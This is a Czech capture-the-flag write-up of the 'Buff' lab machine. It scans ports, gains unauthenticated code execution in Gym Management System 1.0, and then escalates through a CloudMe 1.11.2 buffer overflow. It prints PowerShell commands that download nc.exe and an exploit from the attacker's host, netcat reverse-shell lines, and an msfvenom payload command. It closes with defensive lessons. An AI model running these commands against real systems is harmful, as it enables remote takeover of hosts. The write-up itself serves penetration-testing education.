Buff
Úvod a kontext
Buff je přímočará windowsová mašina, kde je dobře vidět rozdíl mezi vzdáleným footholdem a lokálním privesc. Web na portu 8080 běží na zranitelném Gym Management System 1.0, takže první shell se získá velmi rychle přes veřejnou aplikaci.
Skutečná hodnota článku je ale v druhém kroku. Po prvním shellu už není potřeba dál hledat webové chyby; lokální enumerace nainstalovaných aplikací odhalí CloudMe 1.11.2, jehož lokální buffer overflow se dá zneužít z kompromitovaného hostu k získání root.txt.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Získání přístupu
Webshell přes Gym Management System 1.0
První vstup je přímočarý: veřejně dostupný Gym Management System 1.0 dovolí neautentizované RCE. Webshell stačí použít jen k tomu, aby se na host dostal stabilnější nástroj jako nc.exe.
python Buff-webshell.py "http://10.10.10.198:8080/"
powershell "wget http://10.10.14.9:8000/exe/nc.exe -outfile c:\programdata\nc.exe"
c:\programdata\nc.exe 10.10.14.9 4000 -e cmd
Získání user flagu
Jakmile běží shell pod běžným uživatelem, user.txt jen potvrzuje, že webový foothold už přešel v normální interaktivní přístup k hostu.
powershell "cat user.txt"
__CENSORED__
Eskalace oprávnění
Získání root flagu
Lokální enumerace odhalila CloudMe 1.11.2, tedy desktopovou aplikaci zranitelnou vůči buffer overflow. Připravený CloudMe-exploit.exe pak stačilo přenést na host a spustit z už získaného shellu.
msfvenom -a x86 -p windows/exec CMD='c:\programdata\nc.exe 10.10.14.9 4002 -e cmd' -b '\x00\x0A\x0D' -f python
powershell "wget http://10.10.14.9:8000/exe/CloudMe-exploit.exe -outfile c:\programdata\CloudMe-exploit.exe"
c:\programdata\CloudMe-exploit.exe
type root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Foothold otevřel přímo veřejný
Gym Management System 1.0na portu8080; nebylo potřeba hledat vedlejší služby ani další hesla. - Prvním smysluplným krokem po RCE bylo stáhnout
nc.exea převést webshell na stabilní interaktivní shell. - Root vznikl až lokálně přes
CloudMe 1.11.2, tedy desktopovou aplikaci s buffer overflow, kterou šlo zneužít až po kompromitaci hostu.
Co si odnést do praxe
- Internet-facing aplikace jako
Gym Management System 1.0musí být patchované nebo izolované. U jednoduchých RCE nebývá mezi objevením chyby a plným shellem prakticky žádná obranná rezerva. - Webshell je jen začátek. Obrana musí sledovat i okamžik, kdy útočník na host stahuje pomocné binárky a mění jednorázové RCE ve stabilní shell.
- Lokální software třetích stran je součást útokové plochy stejně jako web.
CloudMe 1.11.2ukazuje, že po prvním footholdu rozhoduje inventarizace a patching desktopových a pomocných aplikací, ne jen serverových služeb.